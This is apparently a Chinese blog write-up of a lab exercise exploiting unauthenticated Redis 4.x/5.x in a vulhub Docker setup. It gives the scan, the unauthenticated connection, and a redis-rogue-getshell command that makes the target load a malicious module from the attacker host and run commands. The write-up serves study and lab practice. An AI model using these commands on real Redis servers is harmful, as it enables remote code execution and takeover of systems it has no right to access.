Redis 4.x/5.x 未授权访问漏洞

本次对Redis未授权访问漏洞的利用过程做个简单的记录。

前言:

在2019年7月7日结束的WCTF2019 Final上,LCBC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式,这种利用方式更为通用,危害也更大,因此来学习学习

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

测试环境:

靶机:Kali 172.21.137.36

攻击机:Ubuntu 172.21.137.74

环境搭建:

vulhub漏洞环境:

  • 在 靶机 中先克隆vulhub项目,命令: git clone https://github.com/vulhub/vulhub.git
  • cd 到 vulhub/redis/4-unacc 目录下用docker启动环境,命令:docker-compose up -d
  • 输入命令:docker ps 就能看到环境的端口信息(redis默认端口是 6379):
    在这里插入图片描述

redis环境配置:
在攻击机上执行以下操作:

1.wget http://download.redis.io/releases/redis-2.8.12.tar.gz #下载
2.tar -xzf redis-2.8.12.tar.gz #解压
3.cd到redis-2.8.12 目录下
4.输入命令make #安装
5.进入redis-2.8.12/src/目录下
6.输入命令`./redis-cli -h`,出现帮助内容就表示可以使用了

Redis 4.x/5.x 未授权访问漏洞_第1张图片

利用过程:

  1. 先在攻击机用Nmap扫描一下靶机
    Redis 4.x/5.x 未授权访问漏洞_第2张图片
    如上图所示,redis服务正常开启了,在6379端口

  2. 攻击机用直接用redis连接,发现可直接访问,还能通过info命令查看到服务器等一些有价值的信息
    Redis 4.x/5.x 未授权访问漏洞_第3张图片
    这足以证明存在未授权访问漏洞

  3. 接下来使用网上存在的 exp,先克隆到本地,命令:https://github.com/vulhub/redis-rogue-getshell.git

  4. cd 到 redis-rogue-getshell/RedisModulesSDK/exp 目录

  5. 输入命令:make ,进行编译(编译后,当前目录下会有一个exp.so的文件)

  6. 回到 redis-rogue-getshell/ 目录下

  7. 输入命令:./redis-master.py -r 172.21.137.36 -p 6379 -L 172.21.137.74 -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami",成功GETSHELL并执行了whoami的命令:
    Redis 4.x/5.x 未授权访问漏洞_第4张图片

总结:

最后要说明一下,本文章由于使用的是vulhub的漏洞环境,只能通过该exp来getshell,像通过写文件、ssh key或定时计划来getshell,都是不成功的,会提示没有权限。

想尝试其他三个方法的请自行查找并搭建第三方的漏洞环境,具体方法的利用过程见以下参考链接,谢谢。:)

参考链接:

  • https://blog.csdn.net/Jiajiajiang_/article/details/81368212
  • https://blog.csdn.net/uisoul/article/details/89490741
  • https://www.freebuf.com/column/170904.html
  • http://mi0.xyz/2019/08/02/weblogic-ssrfredis-getshell%E5%AD%A6%E4%B9%A0/
  • https://christa.top/details/39/
  • https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
  • https://vulhub.org/#/environments/redis/4-unacc/

你可能感兴趣的:(Redis 4.x/5.x 未授权访问漏洞)